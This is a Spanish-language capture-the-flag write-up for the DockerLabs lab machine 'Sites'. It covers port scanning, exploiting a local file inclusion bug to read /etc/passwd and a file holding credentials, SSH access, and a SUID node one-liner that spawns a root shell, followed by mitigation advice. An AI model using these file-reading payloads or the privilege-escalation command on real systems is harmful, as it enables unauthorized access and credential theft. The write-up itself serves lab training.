Sites
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Sites, desarrollada por El Pingüino de Mario para la plataforma DockerLabs, clasificada con una dificultad Media.
El objetivo del laboratorio es comprometer un servidor web vulnerable mediante el abuso de una vulnerabilidad de Local File Inclusion (LFI) que permite la lectura de archivos sensibles del sistema, la obtención de credenciales reutilizadas para acceso por SSH, y una posterior escalada de privilegios aprovechando un binario con permisos SUID incorrectamente configurados.
La metodología empleada se divide en los siguientes pasos:
- Reconocimiento: enumeración de servicios y análisis de la aplicación web.
- Explotación: abuso de LFI para obtención de credenciales y acceso remoto.
- Escalada de privilegios: abuso de binarios SUID para obtener acceso como
root.
El laboratorio se realizó íntegramente dentro del entorno controlado proporcionado por DockerLabs, con fines exclusivamente educativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Sites |
| Autor | El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 12/05/2024 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Paso 0 — Despliegue y preparación
Sección titulada «Paso 0 — Despliegue y preparación»Se descomprime la máquina y se despliega utilizando el script proporcionado:
unzip Sites.zipsudo bash auto_deploy.sh Sites.tar
Se organiza el entorno de trabajo:
mkdir -p Sites/{content,exploits,nmap,scripts}cd SitesPaso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos identificados:
- 22/tcp — SSH
- 80/tcp — HTTP

1.2 Enumeración web
Sección titulada «1.2 Enumeración web»Se realiza fuzzing de rutas y archivos:
feroxbuster -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js -t 100 -C 404
Se identifican los siguientes archivos relevantes:
- index.html Página informativa sobre buenas prácticas de configuración de Apache.

- vulnerable.php
Archivo clave que sugiere la carga dinámica de páginas mediante un parámetro
page.

Al final del archivo index.html se muestra una pista adicional:

Esto sugiere la existencia de un archivo de configuración del sitio web.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»El archivo vulnerable.php carga archivos locales sin ningún tipo de validación o sanitización del parámetro page, lo que permite una vulnerabilidad de Local File Inclusion (LFI).
Se prueba una carga básica del archivo /etc/passwd:
http://172.17.0.2/vulnerable.php?page=/etc/passwd
A partir del contenido del archivo se identifica el usuario chocolate.
Siguiendo la pista proporcionada en index.html, se accede al archivo de configuración de Apache:
http://172.17.0.2/vulnerable.php?page=/etc/apache2/sites-available/sitio.conf
Dentro de este archivo se referencia un recurso oculto llamado archivitotraviesito, el cual se encuentra en el directorio web:
http://172.17.0.2/vulnerable.php?page=/var/www/html/archivitotraviesito
El archivo contiene credenciales válidas para el usuario chocolate, las cuales permiten acceso remoto por SSH:
ssh chocolate@172.17.0.2
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De chocolate → root
Sección titulada «3.1 De chocolate → root»Se enumeran binarios con permisos SUID:
find / -perm -4000 2>/dev/null
Se identifica el binario node con permisos SUID, lo cual es altamente inseguro.
Node.js permite la ejecución de comandos del sistema, y al ejecutarse con UID efectivo 0, cualquier proceso lanzado hereda privilegios de root.
Se ejecuta el siguiente comando:
node -e 'require("child_process").spawn("/bin/bash", ["-p"], {stdio: [0, 1, 2]})'Esto genera una shell privilegiada:

Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Local File Inclusion (LFI) | Crítica | Lectura de archivos sensibles |
| Exposición de archivos de configuración | Alta | Filtración de rutas y credenciales |
| Almacenamiento inseguro de credenciales | Alta | Acceso no autorizado por SSH |
Binario node con permisos SUID | Crítica | Escalada directa de privilegios a root |
Recomendaciones de Mitigación
Sección titulada «Recomendaciones de Mitigación»- Validar y sanitizar correctamente parámetros usados para carga de archivos.
- Deshabilitar la inclusión directa de rutas proporcionadas por el usuario.
- Evitar almacenar credenciales en texto plano dentro del sistema.
- Eliminar permisos SUID innecesarios en binarios interpretados.
- Auditar periódicamente configuraciones de Apache y permisos del sistema.